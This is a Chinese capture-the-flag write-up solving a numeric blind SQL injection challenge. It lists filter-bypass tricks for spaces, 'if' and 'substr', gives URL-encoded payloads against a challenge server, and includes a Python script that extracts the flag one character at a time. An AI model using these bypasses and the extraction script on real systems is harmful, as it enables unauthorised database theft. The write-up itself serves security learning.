easysql_cat

easysql_cat


拿到一题sql,首先就得判断注入点以及注入类型。

简单测试,发现单引号、–+、#等等都被过滤了。

and 1=1、1or 1也不行,说明=和空格也被过滤了。

加减乘除,发现除法可用。

image-20201223203237827

以此说明,这是数字型的注入,注入点就是这个’id’。

数字型注入,不需要闭合单引号。碰到数字型注入,常用方法就是通过脚本一个个字符跑出来。方法就是使用if让其返回不同的值,使得结果不一样从而达到布尔盲注。


开始干题

空格被过滤,可以使用空白字符的url编码、数据库空白字符、注释符、特殊符号、科学计数法等等绕过。

1.空白字符的URL编码:

1
%09,%0a,%0b,%0c,%0d,%20,%a0

2.数据库中常见的绕过空格的空白字符(十六进制)

1
2
3
4
5
6
7
8
SQLite3     -- 0A,0D,0C,09,20
MYSQL5 -- 09,0A,0B,0C,0D,A0,20
PosgresSQL -- 0A,0D,0C,09,20
Oracle 11g -- 00,0A,0D,0C,09,20
MYSQL -- 01,02,03,04....09
0A,0B,0C.......0F
10,11,12.......20
1A,1B,1C.......1F

3.注释符

1
2
#    --    //     /**/    ;%00
例如:select/**/username/**/from/**/user

4.通过特殊符号(反引号、加号等等)

1
利用反引号绕过空格:select`user`,`password`from...

5.科学计数法绕过空格

1
select user,password from users where user_id=0e1union select 1,2

扯远了,回到题目

试试if有没被过滤。

image-20201223210620675

if被过滤了。同上,<>=都被过滤了。

if被过滤了之后,用sql的case…when…then…else…end代替。比较运算符可以用LIKE代替。payload:

1
2
将or case when 1 like 1 then id like 2 else id like 1 end用空格绕过:
http://47.98.234.232:28088/index.php?cat=2%09or%09case%09when%091%09like%091%09then%09id%09like%092%09else%09id%09like%091%09end

image-20201223211247959

可行。根据hint,flag在flag表的flag字段,就可以尝试读第一个字符。

or case when substr((select flag from flag),1,1) like ‘f’ then id like 2 else
id like 1 end

1
2
转换如下:2%09or%09case%09when%09substr((select%09flag%09from%09flag),1,1)1%09like%09'f'%09then%09id%09like%092%09else%09id%09like%091%09end

image-20201223211646193

发现不行,初步怀疑是’f’的单引号被检测过滤,换了0x66也不行,就是substr被过滤了。但是left,right没被过滤,可以使用。代替substr,修改payload:

or case when left((select flag from flag),1) like 0x66 then id like 2 else id
like 1 end

1
转换如下:	2%09or%09case%09when%09left((select%09flag%09from%09flag),1)%09like%090x66%09then%09id%09like%092%09else%09id%09like%091%09end

image-20201223212044088

发现可行。那么就以此payload编写脚本,一个一个字符读出来。脚本来自Gqleung

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
'''
Author: Gqleung
Blog: https://www.plasf.cn
time: 2020-12-22 17:46:26
'''
import requests

def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28088/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.+-}{'
flag = ""
for i in range(1,43):
for j in tables:
payload = "200 or case when left((select flag from flag),%s) like %s then id like 2 else id like 1 end"%(i,ord2hex(flag+j))
try:
r = requests.get(url+payload)
except Exception as e:
r = requests.get(url+payload)

if "Tow" in r.text:
flag=flag+j
print(flag)

image-20201223212213931

后记:

自己初初做这道题的时候,判断出了数字型注入,但是卡在了通过if一个一个字符把flag读出来。通过Gqleung公布的WP才知道整套题下来怎么做。